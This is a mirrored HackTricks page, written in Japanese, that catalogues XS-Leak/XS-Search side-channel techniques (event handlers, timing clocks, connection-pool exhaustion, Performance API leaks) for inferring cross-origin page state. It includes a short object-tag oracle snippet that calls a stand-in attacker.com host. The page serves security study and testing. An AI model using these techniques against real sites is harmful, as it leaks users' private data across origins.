mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
916 lines
93 KiB
Markdown
916 lines
93 KiB
Markdown
# XS-Search/XS-Leaks
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## 基本情報
|
||
|
||
XS-Searchは、**サイドチャネル脆弱性**を利用して**クロスオリジン情報を抽出する**ための手法です。
|
||
|
||
この攻撃に関与する主要なコンポーネントは以下の通りです：
|
||
|
||
- **脆弱なウェブ**: 情報を抽出することを目的としたターゲットウェブサイト。
|
||
- **攻撃者のウェブ**: 攻撃者が作成した悪意のあるウェブサイトで、被害者が訪問し、エクスプロイトをホストしています。
|
||
- **インクルージョンメソッド**: 脆弱なウェブを攻撃者のウェブに組み込むために使用される技術（例：window.open、iframe、fetch、hrefを持つHTMLタグなど）。
|
||
- **リーク技術**: インクルージョンメソッドを通じて収集された情報に基づいて、脆弱なウェブの状態の違いを識別するために使用される技術。
|
||
- **状態**: 攻撃者が区別しようとする脆弱なウェブの2つの潜在的な条件。
|
||
- **検出可能な違い**: 攻撃者が脆弱なウェブの状態を推測するために依存する観察可能な変化。
|
||
|
||
### 検出可能な違い
|
||
|
||
脆弱なウェブの状態を区別するために分析できるいくつかの側面：
|
||
|
||
- **ステータスコード**: サーバーエラー、クライアントエラー、または認証エラーなど、**さまざまなHTTPレスポンスステータスコード**をクロスオリジンで区別する。
|
||
- **API使用**: 特定のJavaScript Web APIを使用しているかどうかを明らかにするために、ページ間での**Web APIの使用**を特定する。
|
||
- **リダイレクト**: HTTPリダイレクトだけでなく、JavaScriptやHTMLによってトリガーされる異なるページへのナビゲーションを検出する。
|
||
- **ページコンテンツ**: **HTTPレスポンスボディ**やページのサブリソースにおける**埋め込まれたフレームの数**や画像のサイズの違いを観察する。
|
||
- **HTTPヘッダー**: **特定のHTTPレスポンスヘッダー**の存在またはその値を記録する。X-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなどのヘッダーが含まれる。
|
||
- **タイミング**: 2つの状態間の一貫した時間の違いに気付く。
|
||
|
||
### インクルージョンメソッド
|
||
|
||
- **HTML要素**: HTMLは、スタイルシート、画像、スクリプトなど、**クロスオリジンリソースのインクルージョン**のためのさまざまな要素を提供し、ブラウザに非HTMLリソースを要求させる。これに関する潜在的なHTML要素の一覧は[https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)で見つけることができます。
|
||
- **フレーム**: **iframe**、**object**、および**embed**などの要素は、攻撃者のページにHTMLリソースを直接埋め込むことができます。ページが**フレーミング保護を欠いている**場合、JavaScriptはcontentWindowプロパティを介してフレーム化されたリソースのウィンドウオブジェクトにアクセスできます。
|
||
- **ポップアップ**: **`window.open`**メソッドは、新しいタブまたはウィンドウでリソースを開き、JavaScriptがSOPに従ってメソッドやプロパティと対話するための**ウィンドウハンドル**を提供します。ポップアップは、シングルサインオンでよく使用され、ターゲットリソースのフレーミングおよびクッキー制限を回避します。ただし、最新のブラウザはポップアップの作成を特定のユーザーアクションに制限しています。
|
||
- **JavaScriptリクエスト**: JavaScriptは、**XMLHttpRequests**や**Fetch API**を使用してターゲットリソースへの直接リクエストを許可します。これらのメソッドは、HTTPリダイレクトに従うかどうかを選択するなど、リクエストに対する正確な制御を提供します。
|
||
|
||
### リーク技術
|
||
|
||
- **イベントハンドラー**: XS-Leaksにおける古典的なリーク技術で、**onload**や**onerror**のようなイベントハンドラーがリソースの読み込み成功または失敗に関する洞察を提供します。
|
||
- **エラーメッセージ**: JavaScriptの例外や特別なエラーページは、エラーメッセージから直接またはその存在と不在を区別することによってリーク情報を提供できます。
|
||
- **グローバル制限**: メモリ容量や他の強制されたブラウザ制限など、ブラウザの物理的制限は、しきい値に達したときに信号を送ることができ、リーク技術として機能します。
|
||
- **グローバル状態**: ブラウザの**グローバル状態**（例：履歴インターフェース）との検出可能な相互作用を悪用できます。たとえば、ブラウザの履歴の**エントリ数**は、クロスオリジンページに関する手がかりを提供できます。
|
||
- **パフォーマンスAPI**: このAPIは、**現在のページのパフォーマンス詳細**を提供し、ドキュメントや読み込まれたリソースのネットワークタイミングを含み、要求されたリソースに関する推測を可能にします。
|
||
- **読み取り可能な属性**: 一部のHTML属性は**クロスオリジンで読み取り可能**であり、リーク技術として使用できます。たとえば、`window.frame.length`プロパティは、JavaScriptがクロスオリジンのウェブページに含まれるフレームの数をカウントすることを可能にします。
|
||
|
||
## XSinatorツールと論文
|
||
|
||
XSinatorは、**いくつかの既知のXS-Leaksに対してブラウザをチェックする**自動ツールです。詳細はその論文に説明されています：[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
|
||
|
||
ツールには[**https://xsinator.com/**](https://xsinator.com/)で**アクセスできます**。
|
||
|
||
> [!WARNING]
|
||
> **除外されたXS-Leaks**: 他のリークに干渉するため、**サービスワーカー**に依存するXS-Leaksを除外する必要がありました。さらに、特定のウェブアプリケーションの誤設定やバグに依存するXS-Leaksも**除外することにしました**。たとえば、CrossOrigin Resource Sharing (CORS)の誤設定、postMessageリーク、またはCross-Site Scriptingです。加えて、時間ベースのXS-Leaksも除外しました。なぜなら、これらはしばしば遅く、ノイズが多く、不正確であるからです。
|
||
|
||
## **タイミングベースの技術**
|
||
|
||
以下の技術のいくつかは、ウェブページの可能な状態の違いを検出するプロセスの一部としてタイミングを使用します。ウェブブラウザで時間を測定する方法はいくつかあります。
|
||
|
||
**時計**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) APIは、開発者が高解像度のタイミング測定を取得することを可能にします。\
|
||
攻撃者が暗黙の時計を作成するために悪用できるAPIは多数あります：[Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API)、[Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel)、[requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)、[setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)、CSSアニメーションなど。\
|
||
詳細については、[https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)を参照してください。
|
||
|
||
## イベントハンドラ技術
|
||
|
||
### Onload/Onerror
|
||
|
||
- **インクルージョンメソッド**: フレーム、HTML要素
|
||
- **検出可能な違い**: ステータスコード
|
||
- **詳細情報**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu)、[https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||
- **概要**: リソースを読み込もうとすると、onerror/onloadイベントがトリガーされ、リソースが成功裏に/失敗して読み込まれたかどうかを判断することが可能です。
|
||
- **コード例**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
||
|
||
{{#ref}}
|
||
cookie-bomb-+-onerror-xs-leak.md
|
||
{{#endref}}
|
||
|
||
コード例は**JSからスクリプトオブジェクトを読み込もうとしますが**、**他のタグ**（オブジェクト、スタイルシート、画像、オーディオなど）も使用できます。さらに、**タグを直接**挿入し、タグ内で`onload`および`onerror`イベントを宣言することも可能です（JSから挿入するのではなく）。
|
||
|
||
この攻撃にはスクリプトなしのバージョンもあります：
|
||
```html
|
||
<object data="//example.com/404">
|
||
<object data="//attacker.com/?error"></object>
|
||
</object>
|
||
```
|
||
この場合、`example.com/404` が見つからない場合、`attacker.com/?error` が読み込まれます。
|
||
|
||
### Onload Timing
|
||
|
||
- **Inclusion Methods**: HTML Elements
|
||
- **Detectable Difference**: Timing (一般的にページコンテンツ、ステータスコードによる)
|
||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
|
||
- **Summary:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** を使用して、リクエストを実行するのにかかる時間を測定できます。ただし、他の時計も使用できます。例えば、[**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) は、50msを超えるタスクを特定できます。
|
||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 別の例は次の通りです：
|
||
|
||
{{#ref}}
|
||
performance.now-example.md
|
||
{{#endref}}
|
||
|
||
#### Onload Timing + Forced Heavy Task
|
||
|
||
この技術は前のものと似ていますが、**attacker** は **関連する時間** をかける **アクションを強制** し、**応答が肯定的または否定的** の場合にその時間を測定します。
|
||
|
||
{{#ref}}
|
||
performance.now-+-force-heavy-task.md
|
||
{{#endref}}
|
||
|
||
### unload/beforeunload Timing
|
||
|
||
- **Inclusion Methods**: Frames
|
||
- **Detectable Difference**: Timing (一般的にページコンテンツ、ステータスコードによる)
|
||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||
- **Summary:** [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) を使用して、リクエストを実行するのにかかる時間を測定できます。他の時計も使用できます。
|
||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||
|
||
リソースを取得するのにかかる時間は、[`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) および [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) イベントを利用して測定できます。**`beforeunload`** イベントは、ブラウザが新しいページに移動しようとしているときに発生し、**`unload`** イベントは、実際にナビゲーションが行われているときに発生します。これら2つのイベント間の時間差を計算することで、**ブラウザがリソースを取得するのにかかった時間** を特定できます。
|
||
|
||
### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
||
|
||
- **Inclusion Methods**: Frames
|
||
- **Detectable Difference**: Timing (一般的にページコンテンツ、ステータスコードによる)
|
||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
||
- **Summary:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API を使用して、リクエストを実行するのにかかる時間を測定できます。他の時計も使用できます。
|
||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
||
|
||
[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) がない場合、ページとそのサブリソースがネットワーク上で読み込まれるのにかかる時間を攻撃者が測定できることが観察されています。この測定は、iframe の `onload` ハンドラーがリソースの読み込みと JavaScript の実行が完了した後にのみトリガーされるため、通常可能です。スクリプト実行によって導入される変動を回避するために、攻撃者は `<iframe>` 内で [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) 属性を使用することがあります。この属性を含めることで、多くの機能が制限され、特に JavaScript の実行が制限されるため、ネットワークパフォーマンスによって主に影響を受ける測定が容易になります。
|
||
```javascript
|
||
// Example of an iframe with the sandbox attribute
|
||
<iframe src="example.html" sandbox></iframe>
|
||
```
|
||
### #ID + error + onload
|
||
|
||
- **Inclusion Methods**: Frames
|
||
- **Detectable Difference**: Page Content
|
||
- **More info**:
|
||
- **Summary**: 正しいコンテンツにアクセスしたときにページがエラーを出し、任意のコンテンツにアクセスしたときに正しく読み込まれるようにできる場合、時間を測定することなくすべての情報を抽出するためのループを作成できます。
|
||
- **Code Example**:
|
||
|
||
ページに**秘密**のコンテンツを**Iframe**内に**挿入**できると仮定します。
|
||
|
||
被害者に**Iframe**を使用して"_**flag**_"を含むファイルを**検索**させることができます（例えば、CSRFを悪用）。Iframe内では、_**onload event**_が**常に少なくとも一度は実行される**ことがわかっています。次に、**URL**の**iframe**を変更できますが、URL内の**ハッシュ**の**内容**のみを変更します。
|
||
|
||
例えば：
|
||
|
||
1. **URL1**: www.attacker.com/xssearch#try1
|
||
2. **URL2**: www.attacker.com/xssearch#try2
|
||
|
||
最初のURLが**正常に読み込まれた**場合、URLの**ハッシュ**部分を**変更**すると、**onload**イベントは**再度トリガーされません**。しかし、ページが**読み込み時に何らかのエラー**を持っていた場合、**onload**イベントは**再度トリガーされます**。
|
||
|
||
これにより、**正しく**読み込まれたページと、アクセス時に**エラー**が発生したページを**区別**できます。
|
||
|
||
### Javascript Execution
|
||
|
||
- **Inclusion Methods**: Frames
|
||
- **Detectable Difference**: Page Content
|
||
- **More info**:
|
||
- **Summary:** ページが**機密**コンテンツを**返す**、またはユーザーによって**制御**可能な**コンテンツ**を返す場合。ユーザーは**無効な場合に有効なJSコードを設定**し、各試行を**`<script>`**タグ内で**読み込む**ことができます。無効な場合、攻撃者の**コード**が**実行され**、有効な場合は**何も**実行されません。
|
||
- **Code Example:**
|
||
|
||
{{#ref}}
|
||
javascript-execution-xs-leak.md
|
||
{{#endref}}
|
||
|
||
### CORB - Onerror
|
||
|
||
- **Inclusion Methods**: HTML Elements
|
||
- **Detectable Difference**: Status Code & Headers
|
||
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
||
- **Summary**: **Cross-Origin Read Blocking (CORB)**は、攻撃から保護するために特定の機密クロスオリジンリソースの読み込みを防ぐセキュリティ対策です。しかし、攻撃者はその保護動作を悪用できます。**CORB**の対象となる応答が`nosniff`と`2xx`ステータスコードを持つ_**CORB保護された**_ `Content-Type`を返すと、**CORB**は応答の本文とヘッダーを削除します。これを観察する攻撃者は、**ステータスコード**（成功またはエラーを示す）と`Content-Type`（**CORB**によって保護されているかどうかを示す）の組み合わせを推測し、潜在的な情報漏洩につながります。
|
||
- **Code Example**:
|
||
|
||
攻撃に関する詳細情報は、より多くの情報リンクを確認してください。
|
||
|
||
### onblur
|
||
|
||
- **Inclusion Methods**: Frames
|
||
- **Detectable Difference**: Page Content
|
||
- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
|
||
- **Summary**: idまたはname属性から機密データを漏洩させます。
|
||
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
||
|
||
**iframe**内に**ページを読み込む**ことができ、**`#id_value`**を使用して、指定されたifのiframeの要素に**フォーカス**を当てることができます。次に、**`onblur`**信号がトリガーされると、ID要素が存在します。\
|
||
同様の攻撃を**`portal`**タグで実行できます。
|
||
|
||
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||
|
||
- **Inclusion Methods**: Frames, Pop-ups
|
||
- **Detectable Difference**: API Usage
|
||
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
||
- **Summary**: postMessageから機密情報を収集するか、postMessagesの存在をオラクルとして使用してページ内のユーザーのステータスを知る
|
||
- **Code Example**: `Any code listening for all postMessages.`
|
||
|
||
アプリケーションは、異なるオリジン間で通信するためにしばしば[`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)を利用します。しかし、この方法は、`targetOrigin`パラメータが適切に指定されていない場合、**機密情報**を不注意に露出させる可能性があります。さらに、メッセージを受信する行為自体が**オラクル**として機能する可能性があります。たとえば、特定のメッセージは、ログインしているユーザーにのみ送信される場合があります。したがって、これらのメッセージの存在または不在は、ユーザーの状態やアイデンティティに関する情報を明らかにすることができます。
|
||
|
||
## Global Limits Techniques
|
||
|
||
### WebSocket API
|
||
|
||
- **Inclusion Methods**: Frames, Pop-ups
|
||
- **Detectable Difference**: API Usage
|
||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||
- **Summary**: WebSocket接続制限を使い果たすことで、クロスオリジンページのWebSocket接続数が漏洩します。
|
||
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
||
|
||
ターゲットページが使用している**WebSocket接続**の数を特定することが可能です。これにより、攻撃者はアプリケーションの状態を検出し、WebSocket接続の数に関連する情報を漏洩させることができます。
|
||
|
||
ある**オリジン**が**最大数のWebSocket**接続オブジェクトを使用している場合、接続状態に関係なく、新しいオブジェクトの作成は**JavaScript例外**を引き起こします。この攻撃を実行するために、攻撃者のウェブサイトはターゲットウェブサイトをポップアップまたはiframeで開き、ターゲットウェブが読み込まれた後、可能な限り最大数のWebSocket接続を作成しようとします。**スローされた例外の数**は、ターゲットウェブサイトの**WebSocket接続の数**です。
|
||
|
||
### Payment API
|
||
|
||
- **Inclusion Methods**: Frames, Pop-ups
|
||
- **Detectable Difference**: API Usage
|
||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||
- **Summary**: 支払いリクエストを検出します。なぜなら、同時にアクティブにできるのは1つだけだからです。
|
||
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||
|
||
このXS-Leakは、攻撃者が**クロスオリジンページが支払いリクエストを開始したとき**を検出できるようにします。
|
||
|
||
**支払いリクエスト**APIを使用しているターゲットウェブサイトがある場合、**同時にアクティブにできるのは1つのリクエストのみ**であるため、APIを使用しようとするさらなる試みは失敗し、**JavaScript例外**を引き起こします。攻撃者は、**定期的にPayment API UIを表示しようとする**ことでこれを悪用できます。1回の試行で例外が発生した場合、ターゲットウェブサイトは現在それを使用しています。攻撃者は、作成後すぐにUIを閉じることで、これらの定期的な試行を隠すことができます。
|
||
|
||
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||
|
||
- **Inclusion Methods**:
|
||
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
|
||
- **Summary:** シングルスレッドのJSイベントループを悪用して、ウェブの実行時間を測定します。
|
||
- **Code Example**:
|
||
|
||
{{#ref}}
|
||
event-loop-blocking-+-lazy-images.md
|
||
{{#endref}}
|
||
|
||
JavaScriptは[シングルスレッドのイベントループ](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop)の並行モデルで動作し、**同時に1つのタスクしか実行できません**。この特性は、**異なるオリジンからのコードの実行にかかる時間を測定する**ために悪用できます。攻撃者は、固定プロパティを持つイベントを継続的にディスパッチすることで、イベントループ内で自分のコードの実行時間を測定できます。これらのイベントは、イベントプールが空のときに処理されます。他のオリジンも同じプールにイベントをディスパッチしている場合、**攻撃者は自分のタスクの実行の遅延を観察することで、これらの外部イベントの実行にかかる時間を推測できます**。遅延を監視するこの方法は、異なるオリジンからのコードの実行時間を明らかにし、機密情報を露出させる可能性があります。
|
||
|
||
> [!WARNING]
|
||
> 実行時間の測定では、**ネットワーク要因**を**排除**して**より正確な測定**を得ることが可能です。たとえば、ページを読み込む前に使用されるリソースを読み込むことによって。
|
||
|
||
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
|
||
|
||
- **Inclusion Methods**:
|
||
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||
- **Summary:** ウェブ操作の実行時間を測定する1つの方法は、スレッドのイベントループを意図的にブロックし、**イベントループが再び利用可能になるまでの時間を測定する**ことです。ブロッキング操作（長い計算や同期API呼び出しなど）をイベントループに挿入し、その後のコードが実行を開始するまでの時間を監視することで、ブロッキング期間中にイベントループで実行されていたタスクの期間を推測できます。この技術は、タスクが順次実行されるJavaScriptのシングルスレッドの性質を利用し、同じスレッドを共有する他の操作のパフォーマンスや動作に関する洞察を提供できます。
|
||
- **Code Example**:
|
||
|
||
イベントループをロックして実行時間を測定する技術の大きな利点は、**サイト分離**を回避できる可能性です。**サイト分離**は、異なるウェブサイトを別々のプロセスに分離するセキュリティ機能であり、悪意のあるサイトが他のサイトから機密データに直接アクセスするのを防ぐことを目的としています。しかし、共有イベントループを通じて他のオリジンの実行タイミングに影響を与えることで、攻撃者はそのオリジンの活動に関する情報を間接的に抽出できます。この方法は、他のオリジンのデータに直接アクセスすることに依存せず、共有イベントループに対するそのオリジンの活動の影響を観察することで、**サイト分離**によって確立された保護バリアを回避します。
|
||
|
||
> [!WARNING]
|
||
> 実行時間の測定では、**ネットワーク要因**を**排除**して**より正確な測定**を得ることが可能です。たとえば、ページを読み込む前に使用されるリソースを読み込むことによって。
|
||
|
||
### Connection Pool
|
||
|
||
- **Inclusion Methods**: JavaScript Requests
|
||
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||
- **Summary:** 攻撃者はすべてのソケットを1つを除いてロックし、ターゲットウェブを読み込み、同時に別のページを読み込むことができ、最後のページが読み込みを開始するまでの時間がターゲットページの読み込みにかかった時間です。
|
||
- **Code Example**:
|
||
|
||
{{#ref}}
|
||
connection-pool-example.md
|
||
{{#endref}}
|
||
|
||
ブラウザはサーバー通信のためにソケットを利用しますが、オペレーティングシステムとハードウェアのリソースが限られているため、**ブラウザは同時に使用できるソケットの数に制限を設けざるを得ません**。攻撃者は次の手順を通じてこの制限を悪用できます。
|
||
|
||
1. ブラウザのソケット制限を確認します。例えば、256のグローバルソケット。
|
||
2. 255のソケットを長時間占有するために、さまざまなホストに255のリクエストを開始し、接続を開いたままにします。
|
||
3. 256番目のソケットを使用してターゲットページにリクエストを送信します。
|
||
4. 別のホストに257番目のリクエストを試みます。すべてのソケットが使用中であるため（手順2と3に従って）、このリクエストはソケットが利用可能になるまでキューに入れられます。このリクエストが進行するまでの遅延は、256番目のソケット（ターゲットページのソケット）に関連するネットワーク活動に関するタイミング情報を攻撃者に提供します。この推測が可能なのは、手順2の255のソケットがまだ使用中であるため、新たに利用可能なソケットは手順3から解放されたものである必要があるからです。したがって、256番目のソケットが利用可能になるまでの時間は、ターゲットページへのリクエストが完了するのにかかる時間に直接関連しています。
|
||
|
||
詳細については、[https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)を参照してください。
|
||
|
||
### Connection Pool by Destination
|
||
|
||
- **Inclusion Methods**: JavaScript Requests
|
||
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
||
- **More info**:
|
||
- **Summary:** 前の技術と似ていますが、すべてのソケットを使用するのではなく、Google **Chrome**は**同じオリジンに対して6つの同時リクエストの制限**を設けています。もし**5つをブロック**し、次に**6番目の**リクエストを**発信**すると、**タイミング**を測定でき、**被害者ページが**同じエンドポイントに**リクエストを送信**するようにできた場合、**6番目のリクエスト**は**長く**かかり、それを検出できます。
|
||
|
||
## Performance API Techniques
|
||
|
||
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance)は、ウェブアプリケーションのパフォーマンスメトリックに関する洞察を提供し、[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API)によってさらに強化されます。Resource Timing APIは、リクエストの期間など、詳細なネットワークリクエストのタイミングを監視することを可能にします。特に、サーバーが応答に`Timing-Allow-Origin: *`ヘッダーを含めると、転送サイズやドメインルックアップ時間などの追加データが利用可能になります。
|
||
|
||
この豊富なデータは、[`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries)や[`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName)などのメソッドを介して取得でき、パフォーマンス関連情報の包括的なビューを提供します。さらに、APIは[`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now)から取得したタイムスタンプの差を計算することで、実行時間の測定を容易にします。ただし、Chromeなどのブラウザでは、`performance.now()`の精度がミリ秒に制限される場合があり、タイミング測定の粒度に影響を与える可能性があります。
|
||
|
||
タイミング測定を超えて、Performance APIはセキュリティ関連の洞察にも利用できます。たとえば、Chromeの`performance`オブジェクトにページが存在するかどうかは、`X-Frame-Options`の適用を示す可能性があります。具体的には、`X-Frame-Options`によってフレーム内でのレンダリングがブロックされているページは、`performance`オブジェクトに記録されないため、ページのフレーミングポリシーに関する微妙な手がかりを提供します。
|
||
|
||
### Error Leak
|
||
|
||
- **Inclusion Methods**: Frames, HTML Elements
|
||
- **Detectable Difference**: Status Code
|
||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
- **Summary:** エラーを引き起こすリクエストはリソースタイミングエントリを作成しません。
|
||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
||
|
||
HTTP応答ステータスコードを**区別**することが可能です。なぜなら、**エラー**を引き起こすリクエストは**パフォーマンスエントリを作成しない**からです。
|
||
|
||
### Style Reload Error
|
||
|
||
- **Inclusion Methods**: HTML Elements
|
||
- **Detectable Difference**: Status Code
|
||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
- **Summary:** ブラウザのバグにより、エラーを引き起こすリクエストは2回読み込まれます。
|
||
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
||
|
||
前の技術では、GCのブラウザバグにより、**リソースが読み込まれないときに2回読み込まれる**2つのケースが特定されました。これにより、Performance APIに複数のエントリが生成され、検出可能になります。
|
||
|
||
### Request Merging Error
|
||
|
||
- **Inclusion Methods**: HTML Elements
|
||
- **Detectable Difference**: Status Code
|
||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
- **Summary:** エラーを引き起こすリクエストはマージできません。
|
||
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||
|
||
この技術は、前述の論文の表に見つかりましたが、技術の説明は見つかりませんでした。ただし、[https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)でソースコードを確認することができます。
|
||
|
||
### Empty Page Leak
|
||
|
||
- **Inclusion Methods**: Frames
|
||
- **Detectable Difference**: Page Content
|
||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
- **Summary:** 空の応答はリソースタイミングエントリを作成しません。
|
||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
||
|
||
攻撃者は、リクエストが空のHTTP応答ボディを引き起こしたかどうかを検出できます。なぜなら、**空のページは一部のブラウザでパフォーマンスエントリを作成しない**からです。
|
||
|
||
### **XSS-Auditor Leak**
|
||
|
||
- **Inclusion Methods**: Frames
|
||
- **Detectable Difference**: Page Content
|
||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
- **Summary:** セキュリティアサーションでXSS Auditorを使用することで、攻撃者は特定のウェブページ要素を検出できます。これは、作成されたペイロードが監査人のフィルタリングメカニズムをトリガーしたときの応答の変化を観察することによって行われます。
|
||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||
|
||
セキュリティアサーション（SA）において、元々クロスサイトスクリプティング（XSS）攻撃を防ぐために設計されたXSS Auditorは、逆説的に機密情報を漏洩させるために悪用される可能性があります。この組み込み機能はGoogle Chrome（GC）から削除されましたが、SAにはまだ存在します。2013年、BraunとHeiderichは、XSS Auditorが正当なスクリプトを誤ってブロックし、偽陽性を引き起こす可能性があることを示しました。これに基づいて、研究者たちは情報を抽出し、クロスオリジンページ上の特定のコンテンツを検出する技術を開発しました。この概念はXS-Leaksとして知られ、最初にTeradaによって報告され、Heyesによってブログ投稿で詳述されました。これらの技術はGCのXSS Auditorに特有でしたが、SAではXSS AuditorによってブロックされたページはPerformance APIにエントリを生成しないことが発見され、機密情報が漏洩する可能性がある方法が明らかになりました。
|
||
|
||
### X-Frame Leak
|
||
|
||
- **Inclusion Methods**: Frames
|
||
- **Detectable Difference**: Header
|
||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
|
||
